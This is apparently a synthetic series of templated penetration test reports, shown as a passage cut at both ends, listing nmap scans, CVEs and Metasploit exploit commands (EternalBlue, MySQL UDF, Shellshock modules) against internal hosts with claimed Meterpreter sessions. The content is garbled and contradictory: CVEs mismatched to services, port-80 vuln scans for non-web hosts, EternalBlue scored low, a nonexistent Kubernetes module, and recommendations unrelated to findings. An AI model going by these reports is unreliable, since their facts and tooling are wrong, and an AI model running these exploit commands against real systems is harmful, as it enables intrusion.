Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.151.45.224 Host is up (0.56s latency). MAC Address: 5A:22:D3:D5:F2:9C (VMware) 2049/tcp open nfs unknown 111/tcp open nfs unknown OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Hostname: nfs-server-01 Nmap done: 1 IP address (1 host up) scanned in 14 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-43945 (Linux Kernel NFSD vulnerability) CVE: CVE-2022-43945 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.151.45.224 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2019-3689 (openSUSE NFS Access Log Info Disclosure) CVE: CVE-2019-3689 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.151.45.224 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-37600 (NFSv4 callback channel vulnerability) CVE: CVE-2021-37600 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.151.45.224 Result: Security vulnerability identified that could potentially compromise the NFS server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.151.45.224; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2019-3689 (CVE-2019-3689) - CVE-2022-43945 (CVE-2022-43945) - CVE-2021-37600 (CVE-2021-37600) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (210 bytes) [*] Meterpreter session 4 opened [*] Session established [*] Gained user access [*] Connected to 10.151.45.224 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0010 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the OAuth2 authentication service (192.168.99.174) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80 192.168.99.174 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.99.174 Host is up (0.59s latency). MAC Address: 88:7D:9A:EF:31:E7 (Intel) 80/tcp open http nginx/1.18.0 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 3 hops Service Info: Hostname: oauth2-authentication-service-01 Nmap done: 1 IP address (1 host up) scanned in 12 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: Information Disclosure CVE: CVE-2020-20746 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (4.0) Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review Test Method: nmap --script vuln -p80 192.168.99.174 Result: Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: Insecure Configuration CVE: CVE-2021-3560 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (6.5) Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review Test Method: nmap --script vuln -p80 192.168.99.174 Result: Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 192.168.99.174; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - Insecure Configuration (CVE-2021-3560) - Information Disclosure (CVE-2020-20746) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (602 bytes) [*] Meterpreter session 2 opened [*] Session established [*] Gained root access [*] Connected to 192.168.99.174 [*] Post-exploitation modules available: - shell - upload - download - screenshot === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0011 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the OAuth2 authentication service (10.123.161.154) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80 10.123.161.154 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.123.161.154 Host is up (0.45s latency). MAC Address: 78:2A:CA:5F:B0:62 (VMware) 80/tcp open http Apache/2.4.41 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Hostname: oauth2-authentication-service-01 Nmap done: 1 IP address (1 host up) scanned in 6 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: Insecure Configuration CVE: CVE-2020-14750 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.7) Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review Test Method: nmap --script vuln -p80 10.123.161.154 Result: Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low. Remediation: See vendor documentation ## Vulnerability 2: Information Disclosure CVE: CVE-2021-11862 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.0) Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review Test Method: nmap --script vuln -p80 10.123.161.154 Result: Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 10.123.161.154; set RPORT 80; exploit" Output: [*] Started reverse TCP handler on port 80 [*] Attempting to exploit using linux/http/apache_mod_cgi_bash_env_exec... [-] Exploit failed: Target is not vulnerable [*] Analysis: - Attempted to exploit known vulnerabilities: - Insecure Configuration (CVE-2020-14750) - Information Disclosure (CVE-2021-11862) - Service may be patched or configuration differs from vulnerable state [*] Recommended next steps: - Check for other CGI scripts vulnerable to command injection - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0012 Date: 2025-05-11 19:07:19 Tester: asmith Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the MySQL database server (192.168.79.2) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p3306,33060 192.168.79.2 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.79.2 Host is up (0.13s latency). MAC Address: B4:52:64:5C:B3:23 (Apple) 3306/tcp open mysql MySQL 5.7.31 33060/tcp open mysql MySQL 5.7.31 OS details: Linux 5.4.0-72-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 3 hops Service Info: Hostname: db-prod-01 Nmap done: 1 IP address (1 host up) scanned in 16 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-3719 (MySQL Optimizer Buffer Overflow) CVE: CVE-2021-3719 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.79.2 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-21595 (Pluggable Authentication Bypass) CVE: CVE-2022-21595 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.79.2 Result: Security vulnerability identified that could potentially compromise the MySQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/mysql/mysql_udf_payload; set RHOSTS 192.168.79.2; set RPORT 3306; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-3719 (CVE-2021-3719) - CVE-2022-21595 (CVE-2022-21595) [*] Started reverse TCP handler on port 3306 [*] Sending payload... [*] Sending stage (231 bytes) [*] Meterpreter session 1 opened [*] Session established [*] Gained root access [*] Connected to 192.168.79.2 [*] Post-exploitation modules available: - mysql_enum - mysql_sql - mysql_file_enum === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 3 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0013 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the Kubernetes API server (10.186.205.82) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p6443,10250,10255 10.186.205.82 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.186.205.82 Host is up (0.54s latency). MAC Address: 4A:3D:80:17:20:F7 (Arista) 6443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 10250/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 10255/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 5.10.0-0.bpo.5-amd64 OS CPE: cpe:/o:linux:linux_kernel:5.10 Network Distance: 3 hops Service Info: Hostname: kubernetes-api-server-01 Nmap done: 1 IP address (1 host up) scanned in 19 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-25735 (Privilege Escalation via Node Proxy Bypass) CVE: CVE-2021-25735 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.186.205.82 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-8554 (MITM via External IPs or LoadBalancer) CVE: CVE-2020-8554 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.186.205.82 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-25741 (DoS via EndpointSlice Validation) CVE: CVE-2021-25741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.186.205.82 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/kubernetes_api_server_rce; set RHOSTS 10.186.205.82; set RPORT 6443; exploit" Output: [*] Started reverse TCP handler on port 6443 [*] Attempting to exploit using linux/http/kubernetes_api_server_rce... [-] Exploit failed: Exploit completed but no session was created [*] Analysis: - Attempted to exploit known vulnerabilities: - CVE-2021-25735 (CVE-2021-25735) - CVE-2020-8554 (CVE-2020-8554) - CVE-2021-25741 (CVE-2021-25741) - Payload execution succeeded but failed to establish reverse connection (firewall/NAT issue?) [*] Recommended next steps: - Research alternative exploits for the same service or pivot to other attack vectors - Verify service version and patch level - Try manual exploitation techniques === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0014 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the BIND DNS server (10.63.65.250) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=dns-recursion -p53,953 10.63.65.250 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.63.65.250 Host is up (0.16s latency). MAC Address: 32:DC:C4:DA:EF:75 (Amazon) 53/tcp open domain ISC BIND 9.16.1 953/tcp open rndc ISC BIND 9.16.1 (remote name daemon controller) | dns-recursion: | Recursion appears to be enabled |_ Potential DNS amplification vulnerability OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Service Info: Host: ns1.internal.corp; Domain: internal.corp Nmap done: 1 IP address (1 host up) scanned in 5 seconds === Vulnerability Assessment === Tools used: - Nmap with dns-nsid and fpdns scripts - ISC BIND vulnerability checks - DNS reconnaissance tools (dig, dnsrecon) ## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS) CVE: CVE-2021-25216 CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) Primary Tool: Nmap dns-nsid script Test Method: nmap -sU -p53 --script=dns-nsid 10.63.65.250 Result: BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records. Attackers could crash the named process by sending malformed SIG records. Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216. ## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning) CVE: CVE-2019-6477 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9) Primary Tool: Manual testing with dig Test Method: dig @10.63.65.250 +short porttest.dns-oarc.net TXT Result: Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient randomization of query IDs when processing NXDOMAIN responses. Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;' === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 10.63.65.250; exploit" Output: [*] Sending NXDOMAIN cache poisoning packets to 10.63.65.250:53 [+] Target appears vulnerable - malformed NXDOMAIN responses accepted [*] This could allow cache poisoning but no direct shell access Tool: dig (manual cache poisoning test) Command: dig @10.63.65.250 +short porttest.dns-oarc.net TXT Output: ;; Warning: ID mismatch: expected ID 12345, got 54321 ;; Warning: query response failed verification Result: Inconsistent query ID generation detected Analysis: - Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477) - Confirmed SIG record parsing vulnerability (CVE-2021-25216) - No direct remote code execution possible - Potential for DNS cache poisoning and denial of service === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 4 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0015 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the SMB file server (10.165.138.6) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p445,139 10.165.138.6 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.165.138.6 Host is up (0.39s latency). MAC Address: 0C:98:02:CA:62:60 (Dell) 445/tcp open microsoft-ds unknown 139/tcp open microsoft-ds unknown OS details: Windows Server 2016 OS CPE: cpe:/o:microsoft:windows_server_2016:- Network Distance: 1 hops Service Info: Hostname: smb-file-server-01 Nmap done: 1 IP address (1 host up) scanned in 21 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE) CVE: CVE-2020-0796 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.165.138.6 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2017-0143 (EternalBlue - SMBv1 RCE, MS17-010) CVE: CVE-2017-0143 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.165.138.6 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 10.165.138.6; set RPORT 445; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2020-0796 (CVE-2020-0796) - CVE-2017-0143 (CVE-2017-0143) [*] Started reverse TCP handler on port 445 [*] Sending payload... [*] Sending stage (429 bytes) [*] Meterpreter session 10 opened [*] Session established [*] Gained system access [*] Connected to 10.165.138.6 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Critical Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0016 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the Kubernetes API server (192.168.32.235) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p6443,10250,10255 192.168.32.235 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.32.235 Host is up (0.16s latency). MAC Address: 2C:7B:BD:6F:E1:16 (IBM) 6443/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) 10250/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 10255/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) OS details: Linux 5.10.0-0.bpo.5-amd64 OS CPE: cpe:/o:linux:linux_kernel:5.10 Network Distance: 3 hops Service Info: Hostname: kubernetes-api-server-01 Nmap done: 1 IP address (1 host up) scanned in 16 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-25735 (Privilege Escalation via Node Proxy Bypass) CVE: CVE-2021-25735 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.32.235 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-25741 (DoS via EndpointSlice Validation) CVE: CVE-2021-25741 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.32.235 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2020-8554 (MITM via External IPs or LoadBalancer) CVE: CVE-2020-8554 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.32.235 Result: Security vulnerability identified that could potentially compromise the Kubernetes API server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/kubernetes_api_server_rce; set RHOSTS 192.168.32.235; set RPORT 6443; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-25735 (CVE-2021-25735) - CVE-2021-25741 (CVE-2021-25741) - CVE-2020-8554 (CVE-2020-8554) [*] Started reverse TCP handler on port 6443 [*] Sending payload... [*] Sending stage (410 bytes) [*] Meterpreter session 7 opened [*] Session established [*] Gained root access [*] Connected to 192.168.32.235 [*] Post-exploitation modules available: - container_escape - cluster_enum - deploy_pod === Final Assessment === Overall Risk Rating: Critical Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 2. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 3. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0017 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the OAuth2 authentication service (192.168.212.87) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80 192.168.212.87 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.212.87 Host is up (0.33s latency). MAC Address: 5C:3E:43:29:AC:D4 (Huawei) 80/tcp open http Apache/2.4.41 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Hostname: oauth2-authentication-service-01 Nmap done: 1 IP address (1 host up) scanned in 9 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: Information Disclosure CVE: CVE-2020-14783 CVSS Score: 